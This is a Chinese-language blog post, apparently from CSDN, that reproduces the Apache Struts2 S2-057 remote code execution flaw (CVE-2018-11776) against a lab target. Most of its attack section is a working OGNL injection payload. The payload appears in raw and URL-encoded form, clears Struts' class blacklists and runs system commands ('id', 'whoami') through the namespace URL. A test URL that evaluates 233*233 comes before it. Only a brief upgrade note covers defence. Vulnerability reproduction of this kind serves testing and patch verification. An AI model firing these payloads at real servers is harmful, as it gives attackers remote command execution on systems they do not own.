Struts2 S2-057远程执行代码漏洞(CVE-2018-11776)

40 篇文章 35 订阅
32 篇文章 14 订阅
本文深入剖析了Apache Struts2框架中的CVE-2018-11776漏洞,该漏洞允许攻击者通过OGNL表达式实现远程代码执行。受影响的版本包括Struts 2.3.34和Struts2.5.16。漏洞复现过程展示了如何构造payload并通过BurpSuite抓包验证漏洞存在。为防止攻击,官方建议用户升级到Struts2.3.35或更高版本。同时,文章提供了POC代码以供理解漏洞原理。
摘要由CSDN通过智能技术生成

漏洞介绍

名称: struts2 代码执行 (CVE-2018-11776)

描述: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 action元素没有设置名称空间属性,或者使用了通配符名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞

影响版本

Struts 2.3.34,Struts 2.5.16

漏洞复现

访问靶机地址

http://ip:port/struts2-showcase/

 构造payload访问

/struts2-showcase/$%7B233*233%7D/actionChain1.action

利用BurpSuite抓包并改包,可以看到,233X233的结果已经在Location头中返回,说明存在漏洞。

 构造POC,替换掉请求内容

原始poc

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

url编码后的poc

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

 漏洞防御

目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或Struts 2.5.17版

漏洞发现者的博客:https://lgtm.com/blog/apache_struts_CVE-2018-11776

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值